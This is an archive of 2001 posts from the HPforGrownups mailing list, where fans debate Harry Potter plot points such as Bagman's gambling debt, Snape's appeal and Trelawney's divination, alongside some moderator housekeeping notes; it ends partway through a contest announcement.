> >blackmail?  It must be the bet on Harry.  It can't be just that
> Bagman didn't honor his bet with F&G.  That hardly seems substantial
> >enough to support a blackmail threat.
> 
> Then Susan said

I don't agree.  A senior civil servant makes a bet in serious money (a
> galleon is worth ?5 according to JKR) with the minor children of a 
junior
> civil servant and then welshes on it?  Pretty serious - until 
comparatively
> recently in the British civil service it was a formal disciplinary 
matter
> for a senior to *borrow* from a junior civil servant.  

This blackmail/gambling plotline is difficult.  Initially, I said 
Fred and George must have known about Bagman's bet on Harry, and that 
is what they are discussing when they speak of blackmail.  The text 
is: "we've tried being polite; it's time to play dirty, like him.  He 
wouldn't like the Ministry of Magic knowing what he did --".  But 
that can't be right.  If Fred and George knew Bagman had a bet on 
Harry, isn't that the sort of thing they'd tell Harry straight away?  
Well, they knew this well before the third task, and they didn't 
mention it to Harry until the end of the book.  So Susan has 
convinced me the thing F&G are using for blackmail must be Bagman's 
failure to honor their bet.  (But then again, it is pretty hard to 
predict what the twins will do with any information they have.  
They're pretty hard to read).

I'm not completely on board that the "blackmail" risk is just the 
gambling debt, though, because gambling appears to be perfectly 
acceptable in the wizarding world, even for minors and even among 
junior vs senior members of MoM.  When Bagman first mentions 
gambling, Arthur immediately wagers a small amount.  When the twins 
wish to join in, he frowns on this, but only because their mom 
wouldn't like it and they shouldn't spend their money that way.  No 
one seems alarmed that underage wizards are gambling. The only 
disapproval of underage gambling is when Bagman uses this as an 
excuse not to pay the debt, but he obviously says this just to brush 
them off.

Cindy
---------
"Look," he said flatly, "take it, or I'll hex you.  I know some good 
ones now.  Just do me one favor, Okay?  Buy Ron some different dress 
robes and say they're from you."  GoF




From metella_porcia at yahoo.com  Wed Sep  5 16:49:21 2001
From: metella_porcia at yahoo.com (metella_porcia at yahoo.com)
Date: Wed, 05 Sep 2001 16:49:21 -0000
Subject: Observations and Questions (Hagrid's statement)
In-Reply-To: <000701c134ef$19c036e0$fe24bb18@OEMCOMPUTER>
Message-ID: <9n5l2h+rak5@eGroups.com>

No: HPFGUIDX 25617

--- In HPforGrownups at y..., Patrick Dawson <wcdawson at o...> wrote:

> 
> SS/PS Ch.5
> Hagrid says "There's not a single witch or wizard who went bad who wasn't in
> Slytherin".
> Rephrased, that's "Every witch/wizard who became evil was in Slytherin."
> But we know that's simply not true. Whether you take it from Hagrid's
> perspective or from the truth, there's at least one evil wizard from
> Gryffindor (Sirius Black or Peter Pettigrew). So why did Hagrid say that?
> I'm guessing that JKR didn't have the plot of Book 3 planned out at this
> point.
> 

Hi!  I've been reading for around 3 weeks now, but this is my first 
post.  Great (and incredibly prolific!) group.

Patrick, and many of the people replying, seem to think that Hagrid was 
mistaken in the statement quoted above, or didn't know about Black when 
he made it, which I rather doubt.  Does JKR ever specifically say what 
house Sirius was in?  I believe we know that James Potter was in 
Gryffindor (somewhere it's stated that he was the Gryffindor Seeker), 
but that doesn't necessarily mean that his friends were all in the same 
house (I concede that it might make it more likely).  Absent any 
evidence to the contrary, I think we should probably assume that Sirius 
Black was Slytherin.  The jury is out on Peter Pettigrew in that he 
was, at the time Hagrid made his comment, considered a victim rather 
than a perpetrator.   Finally, its worth pointing out that "All Death 
Eaters are Slytherins" is not the same statement as "All Slytherins are 
Death Eaters".  If all Slytherins turned out badly, the Sorting Hat 
would never have considered Harry for Slytherin house. 





From fourfuries at aol.com  Wed Sep  5 16:56:58 2001
From: fourfuries at aol.com (fourfuries at aol.com)
Date: Wed, 05 Sep 2001 16:56:58 -0000
Subject: Right, Wrong & Unicorns
In-Reply-To: <20010905030313.66912.qmail@web13803.mail.yahoo.com>
Message-ID: <9n5lgq+c2vk@eGroups.com>

No: HPFGUIDX 25618


Still on topic, the unicorns are seen as absolutely good (whether in 
the Platonic sense or not, I do not know), and even the centaurs, who 
read stars as a guide to destinies, are moved to disgust (and one to 
action) by the destruction of a unicorn.

In the Potterverse, I say, there is absolute right and wrong, and 
fate is determined by an unseen hand.


4FR

--- In HPforGrownups at y..., "Alexandra Y. Kwan" <litalex at y...> wrote:
> Hello,
> 
> Sigh, this is getting so wildly ot...
> 
> --- fourfuries at a... wrote:
> > The only way to be sure that a proposed action is in
> > fact good is for 
> > there to be an objective measure of goodness by
> > which to judge.
> 
> Oh, gods, not Platonic 'Ideas' again.  Sorry, I have
> about up to here with Plato and his ideas.  Me, I'd
> rather take Sartre.
> 
> > ultimately Good will prevail regardless of whether
> > any particular 
> > individual chooses to help out or not.  I mean,
> 
> Even if I'm accepting your view of absolute good and
> evil (which I don't), I think you're forgetting the
> fact that the battle between 'Good' and 'Evil' has
> been going on ever since humans existed and will no
> doubt go on for eternity.  In fact, it *has* to go on
> for eternity for the world to be on balance.
> 
> You can't have the day without the night, heat without
> cold, even...Democrats without Republicans <g>.
> 
> > really, how else 
> > could a baby defeat the greatest sorceror of all
> > time, except it be 
> > fated, in the stars, pre-destined, or the will of
> > that we call God?
> 
> Ah, coincidences happen all the time and the baby
> actually didn't defeat this great sorceror, its
> mother's love did.
> 
> little Alex
> 
> __________________________________________________
> Do You Yahoo!?
> Get email alerts & NEW webcam video instant messaging with Yahoo! 
Messenger
> http://im.yahoo.com




From neilward at dircon.co.uk  Wed Sep  5 17:05:44 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Wed, 05 Sep 2001 17:05:44 -0000
Subject: ADMIN: A bit more on combining/how to do it on webview
Message-ID: <9n5m18+i22k@eGroups.com>

No: HPFGUIDX 25619

I'm a bit late into this discussion, but I'll weigh in anyway


We're not making it compulsory on pain of death to combine messages, 
only asking that you consider combining if you have short comments on 
several topics.  It's one of several measures that are proposed to 
help control message volume.  If it's really impossible for you to do 
it, or it seems wildly inappropriate for particular cases, so be it.  

If the list traffic weren't so heavy, we probably wouldn't even be 
having this debate, and there probably wouldn't be an OT Chatter 
list, either.      

COMBINING ON WEBVIEW

I am set to receive individual e-mails, but when I'm at work, I use 
webview.  If I'm responding to one or more messages, I open a blank 
document in Word, copy the message(s) into it, type up my comments 
and post the whole shebang back to the list ? either as a reply or as 
a fresh post.  

I think this technique would work equally well with any document 
editor or a text editor, such as Notebook or Textpad, and it is 
exactly the same approach that Tabouli described for combining using 
an e-mail agent.  Incidentally, Rita - who always combines many 
responses into one post ? is on webview, so I imagine she uses an 
external text editor.

It's clear that some people need guidance on webview posting and that 
we need explain how to change preferences and delivery options, 
also.  We've tried to include as much guidance as possible in the 
VFAQ, Netiquette Tips and other reference files, but neither of these 
things is addressed there at the moment.    

LIST ELVES

All new members should have been assigned a List Elf ? a fellow list 
member who has volunteered to help them navigate the list rules and 
answer any questions.   Normally, newbies would be able to ask their 
Elf any questions that weren't answered by the reference files.  
However, in the recent changeover between retiring Elves and new 
recruits, some of you may have missed out.  If anyone does need 
advice on anything, please contact the Moderators at hpforgrownups-
owner at yahoogroups.com and we'll do our best to help.

WHERE ELSE TO LOOK FOR INFORMATION ON THE CLUB

Exploring the club's homepage on YahooGroups 
(http://groups.yahoo.com/group/HpforGrownups) would yield a good deal 
of information, even if we'd told you absolutely nothing about the 
club.  All the ADMIN files Penny mentioned in her earlier post 
(including the Welcome Message that is sent to all new members) can 
be found in the Files area.  All the user settings and preferences 
can be changed from the homepage.  There is information about the 
club, plus contact addresses, situated there.   

Okay, anyone still awake at this point deserves a huge bar of 
chocolate.  But we don't always get what we deserve


Neil/Flying Ford Anglia
Yet another member of the Moderator Team








From lilith_snape at hotmail.com  Wed Sep  5 17:41:30 2001
From: lilith_snape at hotmail.com (*Lilith Morgana*)
Date: Wed, 05 Sep 2001 17:41:30 -0000
Subject: Snape -- Why so many fans?
In-Reply-To: <9n3mpv+p484@eGroups.com>
Message-ID: <9n5o4a+n3sr@eGroups.com>

No: HPFGUIDX 25620

--- In HPforGrownups at y..., justanopinion2001 at h... wrote:
> My biggest surprise as a newbie has been all the adoration for 
> Snape.  I've read a LOT of posts about him on this board and 
> SNAPEFANS, and I haven't gotten a good feeling about why people 
would 
> be nuts about him the way others are about Lupin or Black.
> Yes, he saved Harry in PS/SS, and yes, it looks like he's on 
> Dumbledore's team.  But what are the Snape Fans seeing that I am 
> missing?  Would someone care to explain this?
> 
> Laura (who really "gets" grey-haired Lupin and matted-hair Black, 
but 
> is having some trouble with greasy-haired Snape)


(Okay, you really *did* ask, so...I'm branching out a little from the 
other replies, since it's not necessary repeating everything they 
said.)

So, why do I love Snape?

In my case it's because he's not like Lupin or Black! Let's face it, 
if we look back into the past and the Hogwarts days for those lads, 
what do you see? Myself I can easily imagine Potter & co being the 
Popular Crowd, while Snape and his Slytherins are the Bad Ones. We 
see it all the time in schools- the Good ones wouldn't recognise 
their own cruelty towards the less popular if it hit them between the 
eyes! We know James and Sirius always hanged out together, and I get 
the feeling they were the kind of kids who could get away with pretty 
much everything because they're charming, witty and good-looking. 
Which leaves Severus as a complete looser, being greasy, nasty and 
probably bound to defend himself with darks arts. 

Sirius Black treated Severus Snape awfully in school- now this is a 
canon fact. He doesn't even seem to regret this, he's still going on 
with his "it served him right, the little bastard"-theory. You don't 
have to have been bullied in school to realise that Sirius must have 
been a s-h-i-t, to put it mildly. Putting someone's life in danger 
isn't something you do for fun, it's bloody serious! Not every 
puberty lad would be so darn stupid, but Sirius was and Severus 
became the victim of this idiocy. Yes, he might have deserved to get 
scared in theory, but not in reality, and not by a werewolf! I don't 
even need canon proof to know that James, Sirius, Remus and Peter 
were allowed to make fun of others, and get credit for it- not out of 
pure evilness, but because they could. Everybody would still love 
them, they were the Golden Boys. If I were in school with this gang, 
I wouldn't only have hated Black and Potter, I would also most likely 
have been bullied by them.  

As for characterisation, the answer is very simple: Severus Snape is 
the only character with enough depth to become obsessed about. In him 
we have a mean, sarcastic, gloomy bastard who enjoys making fun of 
his students in various offending ways. But we also have a past that 
indicates guilt, angst and major bitterness. What made him change his 
mind about being a Death Eater? Why is he trusted? Dumbledore's firm 
trust must be a consequence of something good, something less 
horrible in Snape, right? 
Sirius and Remus are both haunted by certain things- being a refugee 
from Azkaban and lycantrophy aren't pieces of cakes- but these aren't 
anything that deepens them since it's caused by external 
circumstances. Severus, on the other hand (awaits *le sigh* from 
everyone reading this post) is haunted by his own actions, and the 
guilt he feels is what makes him take a big step away from the other 
one-dimensional characters. 

He appeals to me because he's a survivor. To quote Rowling herself, 
when asked if Snape was going to die: "Snape's tough." No matter how 
unloveable he comes off as, he's complex, fascinating and utterly 
intriguing. You never know what he's doing next- humiliating Harry or 
saving his life! To a certain extent it's also about identification- 
that's right, Snape is a guy for every anti-Popular, anti-Heroic, 
anti-Social bastard out there, including myself!

We must also remember that the books are written through Harry's 
eyes, and he has made up his mind about Severus as a mean git who's 
enjoying crushing their grades in Potions. Severus IS convinced that 
he's doing the right thing all books through. He's sure about Black 
being the mass murder he was judged as, and therefore also 
revengeful. He's possibly bound to keep an eye on Harry and this must 
be thoroughly annoying since the boy sneaks out and in as he 
pleases.  

Last, but not least, Severus is damn funny! Come on, admit that you 
would have laughed as much as the Slytherins when he read the Harry-
article aloud in front of the class in GoF if we weren't supposed to 
feel sorry for Potter? I cannot have been the only one who found his 
remark "dear, dear, Potter, what's ailing you now?" funny! If we 
forget about his victims, Severus is actually entertaining in every 
detail- even the "I see no difference" comment is a delight said to 
another person. 

Besides, I expect the number of Snape fans to increase slightly after 
the movie has come out...

Lilith Morgana
---
Favourite Internet Bumper Sticker:
"Gee, I'd like to care but I don't possess that gene!"




From rose590 at yahoo.com  Wed Sep  5 18:02:18 2001
From: rose590 at yahoo.com (rose590 at yahoo.com)
Date: Wed, 05 Sep 2001 18:02:18 -0000
Subject: Molly Weasley, and the one scene that got to me in GoF...
In-Reply-To: <00d801c135cd$9bfb73c0$d0c71bce@hppav>
Message-ID: <9n5pba+6qbc@eGroups.com>

No: HPFGUIDX 25621

--- In HPforGrownups at y..., "Eric Oppen" <oppen at c...> wrote:
> I like Molly Weasley a lot, not least for the way she bonded to 
Harry as the
> "mother" he never had the chance to know---and, for the first time, 
Harry's
> experiencing a mother's love, even though Molly's not his 
biological mother.
> She's far more a mother to him, and a far better mother in every 
way, than
Petunia Dursley is to either Harry OR Dudley.

...but when Molly comforted him for the first time in his life, _this_
> nearly broke his iron self-control!  This, alone, tells us a lot 
about just
> how barren and bleak his life is chez Dursley, even if we didn't 
already
> know about it from seeing him with that charming family.  
(Whimpering
> house-elf-style apologies for getting so fervent, but I _really 
*really*
> REALLY_ dislike child-abusers...if Voldie were going after them 
instead of
> Muggles and Muggle-borns, I'd be cheering and screaming and giving 
him
> pointers.)
> 

The great mushball that I am wholeheartedly agrees with you on this.  
As I mentioned a few digests ago about Sirius Black, I have a real 
soft spot for anyone who shows genuine love and concern for Harry.  
It melts my heart and makes me cry every time.

It truly amazes me also that Harry has grown up to be such a 
wonderful young man with so much concern for other people after a 
lifetime of "abuse" from the Dursleys.  It gives the old nature vs. 
nurture argument a real run for its money.

Rose :) (an official Harry Potter sap)





From margdean at erols.com  Wed Sep  5 17:38:42 2001
From: margdean at erols.com (Margaret Dean)
Date: Wed, 05 Sep 2001 13:38:42 -0400
Subject: [HPforGrownups] Re: The Case Against Ludo Bagman/blackmail and 
 gambling
References: <9n5gip+ig83@eGroups.com>
Message-ID: <3B966322.1BE8B472@erols.com>

No: HPFGUIDX 25622

cynthiaanncoe at home.com wrote:

> I'm not completely on board that the "blackmail" risk is just the
> gambling debt, though, because gambling appears to be perfectly
> acceptable in the wizarding world, even for minors and even among
> junior vs senior members of MoM.  When Bagman first mentions
> gambling, Arthur immediately wagers a small amount.  When the twins
> wish to join in, he frowns on this, but only because their mom
> wouldn't like it and they shouldn't spend their money that way.  No
> one seems alarmed that underage wizards are gambling. The only
> disapproval of underage gambling is when Bagman uses this as an
> excuse not to pay the debt, but he obviously says this just to brush
> them off.

It's precisely in a culture (or subculture) where gambling is an
accepted activity that you can really ruin your reputation by
welshing on a bet.  It's obvious that Bagman depends on his
reputation a lot; if it got about that he was a welsher, he'd be,
if you'll pardon the expression, up sh*t creek without a paddle.


--Margaret Dean
  <margdean at erols.com>



From deeblite at home.com  Wed Sep  5 16:38:54 2001
From: deeblite at home.com (Deeblite)
Date: Wed, 05 Sep 2001 12:38:54 -0400
Subject: [HPforGrownups] IMPORTANT information for HPfGU CHAT
In-Reply-To: <9mv5v7+bul4@eGroups.com>
Message-ID: <5.1.0.14.0.20010905123656.00b89700@netmail.home.com>

No: HPFGUIDX 25623

At 05:54 AM 9/3/2001 +0000, you wrote:
>Some people who were unable to download either
>Cheetah Chat or miChat (small, old, computers,
>college rules, etc) were able to enter the room
>grp*g.2176166:1 in one of the following ways and
>some were able to enter in the other:

<snip lots of other overly-complicated ways of getting to a chat>
Umm.. rather than going through all of these elaborate means to get a chat 
going, wouldn't it be easier to just use an IRC chat room?  IRC is a widely 
accepted chat standard that people on even really old computers, or 
computers running operating systems other than Windows or Mac, can use, so 
EVERYONE could be included that way, and it's a heck of a lot easier than 
this Cheetah Chat seems to be.


-- 
Deeblite
WTF is an acronym?




From meboriqua at aol.com  Wed Sep  5 20:38:50 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Wed, 05 Sep 2001 20:38:50 -0000
Subject: Rules of Divination and Trelawney
In-Reply-To: <9n4cpv+i5lh@eGroups.com>
Message-ID: <9n62gq+tnta@eGroups.com>

No: HPFGUIDX 25624

--- In HPforGrownups at y..., caliburncy at y... wrote:
 
> My personal opinion (not without some sort of basis in canon, but 
> lacking truly conclusive evidence) is that Professor Trelawney is a 
> true seer who doesn't realize that she is one and therefore has all 
> this time been putting on an act, without knowing that she really 
does  possess an Inner Eye.>

Luke, I envy your ability to express perfectly what I try to when I 
ramble and here you did it again.  That is exactly what I think of 
Trelawney and that is why I believe her to be a fraud.
   
> 
> I agree that JKR has made Trelawney's status as a true seer or a 
fraud  rather ambiguous>

Yes, she definitely has.  I wonder if JKR is extremely skeptical of 
people who claim to be psychic.  My favorites are the "Real Licensed 
Psychics" I see advertised on the tv all the time, as if the fact that 
they paid for their certification is what makes them *truly* psychic.  
Trelawney reminds me very much of those 1-800 people (that means toll 
free phone numbers often associated with businesses for those of you 
who are not American) who say they can tell you all about your life if 
you'd just call and stay on for more than three minutes when the 
charges set in...

Oh, sorry, OT there for a minute.  Anyway, JKR has gone out of her 
way, it seems to make Divination a difficult thing to interpret, work 
with or believe.  Even here at HPFGU there are people who list 
Trelawney's predictions and make good arguments for them being real, 
while there are others (like me) who think she's full of it.  I mean, 
who believes "Crossing Over with Jonathan Edwards" (or whatever his 
name is) and who thinks he is a phony?  There is always a debate.

When we are dealing with what WILL happen, it will always be difficult 
to simply believe a prediction because really, you never know.

--jenny from ravenclaw, who thinks going back to work this week has 
made her ideas sound like nonsense here **********




From scaryfairymary at hotmail.com  Wed Sep  5 20:53:41 2001
From: scaryfairymary at hotmail.com (scaryfairymary at hotmail.com)
Date: Wed, 05 Sep 2001 20:53:41 -0000
Subject: 3 missing death eaters
In-Reply-To: <3B95AF14.60158101@wicca.net>
Message-ID: <9n63cl+q2at@eGroups.com>

No: HPFGUIDX 25625

Rita Winston wrote:
> 
> When Voldemort mentioned the three absent Death Eaters, one too 
cowardly
> to come, one who has left forever, one doing the Dark Lord's work at
> Hogwarts, and I didn't know about Crouch Jr at that time, I thought
> Bagman was either the first or the third.
> 

My take on it was that the one too cowardly to return was Karakaroff, 
one who has left forever was Snape and one doing Dark Lord's work was 
Crouch jnr. Although it was only on the second reading that I was 
able to reach that conlusion, but it does make me think...if 
Voldemort knows that Snape has left him forever, he will see that he 
is returning as a spy for Dumbledore and...maybe thats going to be 
the end of Snape?? IIRC, Dumbledore watched with a hint of 
apprehension when Snape left the room at the "parting of the ways" 
chapter in GoF, which IMO suggests that he is aware that Snape is in 
a lot more danger than ever before. Any thoughts?
Mary :?)





From blpurdom at yahoo.com  Wed Sep  5 20:58:27 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Wed, 05 Sep 2001 20:58:27 -0000
Subject: Severus-Lucius speculations  
In-Reply-To: <9n3hci+qvp7@eGroups.com>
Message-ID: <9n63lj+iqf7@eGroups.com>

No: HPFGUIDX 25626

--- In HPforGrownups at y..., "*Lilith Morgana*" <lilith_snape at h...> 
wrote:
> If Snape is a spy, which I don't think, Lucius wouldn't know about 
> his change of sides and is therefore free to let his son adore him. 

In Dumbledore's Pensieve, we see Dumbledore vouching for Snape before 
a room full of witches and wizards.  Unless all of the proceedings in 
the room were quashed and not allowed in the wizarding press, and 
everyone there had a spell on them to prevent them telling what 
occurred, the wizarding world knew after that that Snape had been 
spying.  It is possible that Lucius Malfoy was pretending to spy on 
the Death Eaters, and that Snape thinks he's on the same side, but 
Lucius would be more likely to be a double agent, it seems.  
Voldemort certainly seemed to know that Snape was no longer 
supporting him, so there's no reason to assume Malfoy wouldn't know.  
Perhaps Snape is alarmed about Malfoy being at the rebirthing because 
there is an expectation that children of Death Eaters will be brought 
into the fold when they are of age.  His concern would be for Draco, 
in that case.  Of course, it is all just speculation...

--Barb





From justanopinion2001 at hotmail.com  Wed Sep  5 21:17:23 2001
From: justanopinion2001 at hotmail.com (justanopinion2001 at hotmail.com)
Date: Wed, 05 Sep 2001 21:17:23 -0000
Subject: What is the single best scene in the HP series?
Message-ID: <9n64p3+oliu@eGroups.com>

No: HPFGUIDX 25627

I was wondering which single scene out of the Harry Potter series you 
think is the best?  In other words, if you were trying to convince 
someone (who has read the books) that the series is really something 
special, which one scene would you direct them to?

The scene I found most intense and most moving is the Shrieking Shack 
scene in PoA, beginning from the point at which Harry enters the 
Shrieking Shack to the point when they emerge from the Whomping 
Willow.  The pacing is really fast, the story unwinds and is 
explained in a very believable way, the very best characters in the 
series (IMHO) are present (H, H, R, Lupin, Sirius, Snape), the 
Scabbers plot twist is brilliant, and the relationship that develops 
between Sirius and Harry in this one scene is very moving.  Indeed, 
each character is developed substantially in this one scene.  JKR 
couldn't have done anything to make this scene work better.  

Laura




From muggle-reader at angelfire.com  Wed Sep  5 21:39:28 2001
From: muggle-reader at angelfire.com (Demelza)
Date: Wed, 05 Sep 2001 21:39:28 -0000
Subject: Snape -- Why so many fans?
In-Reply-To: <9n5o4a+n3sr@eGroups.com>
Message-ID: <9n662g+uhda@eGroups.com>

No: HPFGUIDX 25628

--- In HPforGrownups at y..., "*Lilith Morgana*" <lilith_snape at h...> 
wrote:
> In my case it's because he's not like Lupin or Black! Let's face 
it, 
> if we look back into the past and the Hogwarts days for those lads, 
> what do you see? Myself I can easily imagine Potter & co being the 
> Popular Crowd, while Snape and his Slytherins are the Bad Ones. We 
> see it all the time in schools- the Good ones wouldn't recognise 
> their own cruelty towards the less popular if it hit them between 
the 
> eyes! We know James and Sirius always hanged out together, and I 
get 
> the feeling they were the kind of kids who could get away with 
pretty 
> much everything because they're charming, witty and good-looking. 
> Which leaves Severus as a complete looser, being greasy, nasty and 
> probably bound to defend himself with darks arts. 

I think you're underselling Snape. I don't think Snape was 
a "complete looser". According to the canon, he came to Hogwarts 
knowing more curses than a 7th year. Furthermore, he hung out with a 
group of Slytherins (most of whom became Death Eaters). 

Dumbledore in SS/PS tells Harry that Snape and James had a 
relationship very much like Harry's and Draco's: antagonistic. The 
origins of that antagonism haven't been completely revealed. Maybe it 
was a combination of things. Maybe Snape referred to Lily and the 
other Muggle-borns as  "mud-bloods". There has been bad blood between 
the Snape and Potter families for generations.

> 
> Sirius Black treated Severus Snape awfully in school- now this is a 
> canon fact. He doesn't even seem to regret this, he's still going 
on 
> with his "it served him right, the little bastard"-theory. You 
don't 
> have to have been bullied in school to realise that Sirius must 
have 
> been a s-h-i-t, to put it mildly. Putting someone's life in danger 
> isn't something you do for fun, it's bloody serious! Not every 
> puberty lad would be so darn stupid, but Sirius was and Severus 
> became the victim of this idiocy. Yes, he might have deserved to 
get 
> scared in theory, but not in reality, and not by a werewolf! I 
don't 
> even need canon proof to know that James, Sirius, Remus and Peter 
> were allowed to make fun of others, and get credit for it- not out 
of 
> pure evilness, but because they could. Everybody would still love 
> them, they were the Golden Boys. If I were in school with this 
gang, 
> I wouldn't only have hated Black and Potter, I would also most 
likely 
> have been bullied by them.  
> 

Snape still holds a grudge against Sirius and Lupin. "Letting it 
slip" that Lupin was a werewolf wasn't an accident IMO. Snape admits 
that he protested Dumbledore's decision to hire Lupin. From what the 
canon reveals to us, the adult Lupin has been discriminated against 
due to his condition. The Hogwarts job was one of the few 
opportunities he's had and the adult Snape destroyed Lupin's chances 
of permanent employment at Hogwarts and elsewhere. That's a pretty 
malicious thing to do.

> 
> Last, but not least, Severus is damn funny! Come on, admit that you 
> would have laughed as much as the Slytherins when he read the Harry-
> article aloud in front of the class in GoF if we weren't supposed 
to 
> feel sorry for Potter? I cannot have been the only one who found 
his 
> remark "dear, dear, Potter, what's ailing you now?" funny! If we 
> forget about his victims, Severus is actually entertaining in every 
> detail- even the "I see no difference" comment is a delight said to 
> another person. 
> 

Actually, I was horrified at the lack of Snape's professionalism. 
Same goes for the insults he throws at Neville. But professionalism 
aside, his comment to Hermione was appallingly malicious. No adult 
should treat a child with that kind of contempt. Furthermore, it's a 
double shame on Snape if he is the victim of bullying as you state 
because he of all people should know the sting of victimization. His 
behavior, therefore, lend credence to the the cycle of violence 
theories and it's unfortunate he doesn't have the character to stop 
that cycle. 

Demelza




From mellienel2 at yahoo.com  Wed Sep  5 21:54:42 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Wed, 05 Sep 2001 21:54:42 -0000
Subject: What is the single best scene in the HP series?
In-Reply-To: <9n64p3+oliu@eGroups.com>
Message-ID: <9n66v2+o6j6@eGroups.com>

No: HPFGUIDX 25629

--- In HPforGrownups at y..., justanopinion2001 at h... wrote:
> I was wondering which single scene out of the Harry Potter series 
you 
> think is the best?  In other words, if you were trying to convince 
> someone (who has read the books) that the series is really 
something 
> special, which one scene would you direct them to?
> 

Oh, hands down "The Unexpected Task." It was such a different chapter 
for JKR, and she handled it so well. I'll never forget how hard I 
laughed when Harry sputtered "Wangoballwime?", or when he was 
contemplating ambushing Cho to get her away from her giggling 
girlfriends. I read that chapter sometimes just to put me in a good 
mood.

m.




From cynthiaanncoe at home.com  Wed Sep  5 22:24:07 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Wed, 05 Sep 2001 22:24:07 -0000
Subject: What is the single best scene in the HP series?
In-Reply-To: <9n64p3+oliu@eGroups.com>
Message-ID: <9n68m7+5kdp@eGroups.com>

No: HPFGUIDX 25630

--- In HPforGrownups at y..., justanopinion2001 at h... wrote:
> I was wondering which single scene out of the Harry Potter series 
you 
> think is the best?  In other words, if you were trying to convince 
> someone (who has read the books) that the series is really 
something 
> special, which one scene would you direct them to?
> 
> 

I know a lot of people have problems with the climatic scene in GoF 
("Mad, am I?"), but I'd have to point to that as a favorite.  Maybe 
some small things could have been done better, but the scene really 
worked for me.  

First, in a blink, we go from Harry and Cedric about to win the 
tournament to being in mortal danger.  Harry's situation gets 
progressively worse, and we start to wonder how on earth JKR is 
getting him out of this one and whether the next book will be "Harry 
Potter and the Burial Plot".  Then, she starts pulling out plot 
devices she's nurtured hundreds of pages ago.  And just when we start 
to relax, Harry is in mortal danger again, this time by Moody.  Then 
we get a parade of meaningful cameo appearances by favorite 
characters, and everyone gets into the act (Sirus, Snape, McGonnagal, 
Molly).  It is one of the longest, most tense climaxes I've read in a 
good long while.  If you're going to make people wade through 700+ 
pages, you have to deliver a darn good climax, and JKR really does.

Cindy
--------------
"As Hagrid had said, what would come, would come . . . and he would 
have to meet it when it did."  GoF, p. 734.




From Indyfans at aol.com  Wed Sep  5 22:33:42 2001
From: Indyfans at aol.com (Indyfans at aol.com)
Date: Wed, 5 Sep 2001 18:33:42 EDT
Subject: Who is Avery?
Message-ID: <8d.c1a2648.28c80246@aol.com>

No: HPFGUIDX 25631

Just a quick ?....'Avery' is mentioned a time or 2 in GoF, do any of you know 
who that is, or is it just a death eater casually mentioned in the course of 
the story?  Thanks!



From lady.nymphaea at faerielands.com  Wed Sep  5 22:52:53 2001
From: lady.nymphaea at faerielands.com (lady.nymphaea at faerielands.com)
Date: Wed, 05 Sep 2001 22:52:53 -0000
Subject: Snape's general behavior ( was Re: Snape -- Why so many fans?)
In-Reply-To: <9n662g+uhda@eGroups.com>
Message-ID: <9n6ac5+hdhv@eGroups.com>

No: HPFGUIDX 25632

--- In HPforGrownups at y..., "Demelza" <muggle-reader at a...> wrote:
> I think you're underselling Snape. I don't think Snape was 
> a "complete looser". According to the canon, he came to Hogwarts 
> knowing more curses than a 7th year. Furthermore, he hung out with 
a 
> group of Slytherins (most of whom became Death Eaters). 

What I want to know is what kind of background originates a child who 
would know that many curses in first year. I have a feeling this is 
another one of Rowling's examples of child abuse and neglect; in this 
case, the example of a child whose parents either don't care what his 
interests are or encourage the wrong sorts of interests. The other 
example could be the case of a child who would use any means 
necessary to defend himself, which is just as disturbing.

> Dumbledore in SS/PS tells Harry that Snape and James had a 
> relationship very much like Harry's and Draco's: antagonistic. The 
> origins of that antagonism haven't been completely revealed. Maybe 
it 
> was a combination of things. Maybe Snape referred to Lily and the 
> other Muggle-borns as  "mud-bloods". There has been bad blood 
between 
> the Snape and Potter families for generations.

That last statement isn't proven. It seems like it's more than 
Quidditch rivalry that caused the Potter feud, as both Snape and 
Black seem to lead Harry to believe was the cause, but this looks 
like it's another one of these Items to be Revealed Later.

> Snape still holds a grudge against Sirius and Lupin. "Letting it 
> slip" that Lupin was a werewolf wasn't an accident IMO. Snape 
admits 
> that he protested Dumbledore's decision to hire Lupin. From what 
the 
> canon reveals to us, the adult Lupin has been discriminated against 
> due to his condition. The Hogwarts job was one of the few 
> opportunities he's had and the adult Snape destroyed Lupin's 
chances 
> of permanent employment at Hogwarts and elsewhere. That's a pretty 
> malicious thing to do.

I'm still wondering why Lupin didn't take his potion on time. The way 
that scene was written, it made it sound like he waited until the 
last minute to take it. I hope I'm wrong; I like Lupin, but I really, 
really wish he hadn't screwed up his chances like that, if that 
scenario was really the truth of the matter.

> Actually, I was horrified at the lack of Snape's professionalism. 
> Same goes for the insults he throws at Neville. But professionalism 
> aside, his comment to Hermione was appallingly malicious. No adult 
> should treat a child with that kind of contempt. Furthermore, it's 
a 
> double shame on Snape if he is the victim of bullying as you state 
> because he of all people should know the sting of victimization. 
His 
> behavior, therefore, lend credence to the the cycle of violence 
> theories and it's unfortunate he doesn't have the character to stop 
> that cycle. 

Snape's quite a case, no? Or was this scene just a setup for the 
Cinderella!Hermione scene at the Yule Ball? I'm still working that 
one out. Not to excuse Snape (or maybe, he's just a fictional 
construct...remember that all of you), of course, but the authorial 
intent here is certainly interesting. One of the things that bothers 
me about the series (not enough to make me quit reading, but HP is 
not my favorite series by half) is that most of the adults behave 
just as childish as the children; the wizarding world is a caricature 
of our world. Great touch in a kiddie series, to make the kids think 
they have one up on their elders, but not so good for the adult 
reader.

I don't have any idea *why* Dumbledore lets Snape behave the way he 
does. We know what JKR says: he's in the series because bad teachers 
are a life lesson, which is fine and dandy, but it's gone on for four 
books and my disbelief can only be suspended so far before it gets 
dropped. Put it this way: Snape is an ass, but the fact that 
Dumbledore keeps him around bothers me just as much as his antisocial 
actions. Hopefully this will be resolved in the last three books.

Meril
who really wishes she could explain herself better now




From joym999 at aol.com  Wed Sep  5 22:58:38 2001
From: joym999 at aol.com (Joy M)
Date: Wed, 05 Sep 2001 22:58:38 -0000
Subject: HP4GU Contest #13 
Message-ID: <9n6amv+se4s@eGroups.com>

No: HPFGUIDX 25633

Hello my fellow LOONies.  This is your last chance to nitpick your 
way to official membership in L.O.O.N., the League of Obsessive 
Nitpickers.  Contest entries are due by tonight at midnight, although 
I'll accept them until NOON E.S.T., tomorrow, Thursday, Sept. 6.  
I'll post the results and a new contest on Friday.  Here is the 
contest, one last time:

